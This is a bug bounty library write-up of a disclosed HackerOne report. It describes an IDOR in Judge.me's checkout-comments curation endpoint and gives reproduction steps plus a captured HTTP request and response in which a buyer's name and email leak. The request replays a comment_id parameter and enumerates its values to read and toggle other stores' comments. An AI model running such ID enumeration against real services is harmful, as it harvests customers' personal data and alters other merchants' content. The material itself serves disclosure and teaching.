# IDOR: leak buyer info & Publish/Hide foreign comments

IDOR in Judge.me's curate_comment endpoint let any authenticated merchant enumerate comment_id to leak buyer names/emails and publish or hide other stores' comments.

- Payout: $1,250
- Severity: high
- Program: Judge.me
- Found by: errorinhuman
- Disclosed: 2022-03-31
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1410498
- Library page: https://bugbountylibrary.com/r/h1%3A1410498
- Tags: area:web domain:web impact:integrity impact:pii-leak kind:bounty platform:hackerone sev:high tech:rest technique:recon vuln:access-control vuln:idor

**Target:** judge.me /extensions/checkout_comments/curate_comment endpoint
**Root cause:** The curate_comment action authorizes by session but does not verify the comment_id belongs to the requesting shop, so arbitrary comment IDs are readable and mutable.
**Steps:**
1. Install 'Checkout Comments' addon on a Shopify store and create a fake order with a comment.
2. Open /admin/apps/checkout-comments/extensions/checkout_comments/comments and publish the comment, intercepting the request.
3. Send `POST /extensions/checkout_comments/curate_comment` with body `comment_id=1&curated=ok` and valid session + X-Csrf-Token.
4. Change `comment_id` to arbitrary/sequential values; response returns buyer name, email, product, and published_status.
5. Set `curated=ok` or hide value to publish/hide foreign comments.
**How found:** Researcher noticed the curate action took a raw comment_id parameter and tested whether IDs outside their own shop were accepted, observing foreign buyer data in the response.
**Exploitation:** Authenticated merchant replays the curate_comment request with arbitrary comment_id values, enumerating sequential IDs to harvest buyer PII and toggle published_status on other stores' comments.
**Insight:** Moderation/curation actions that take a bare object ID are prime IDOR candidates: intercept the publish/hide request and swap the ID to see if authorization is scoped to the shop or just the session.

## Proof of concept (copied exactly from the original report)

**POST curate_comment request with comment_id parameter**

```
POST /extensions/checkout_comments/curate_comment HTTP/1.1
Host: judge.me
Cookie: _judgeme_session=████████████████; _ga=GA1.2.1935027813.1637882690; _gid=GA1.2.2043288340.1637882690; _fbp=fb.1.1637882690590.2069272048; _gat_UA-28424713-2=1
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://judge.me/extensions/checkout_comments/comments?platform=shopify&shop_domain=test-hackerone-glis.myshopify.com&page=3&offset=50
X-Csrf-Token: ████==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Origin: https://judge.me
Te: trailers
Connection: close

comment_id=1&curated=ok
```

**Response leaking buyer email via IDOR**

```
{"comment":{"id":1,"content":"classic dress watch for weddings","created_at":"over 3 years ago","product":{"title":"Dress Watch","url":"https://████.myshopify.com/products/dress-watch"},"buyer":{"name":"F F","email":"██████████@gmail.com"},"published_status":true,"published_status_text":"Published","curated":"ok"}}
```

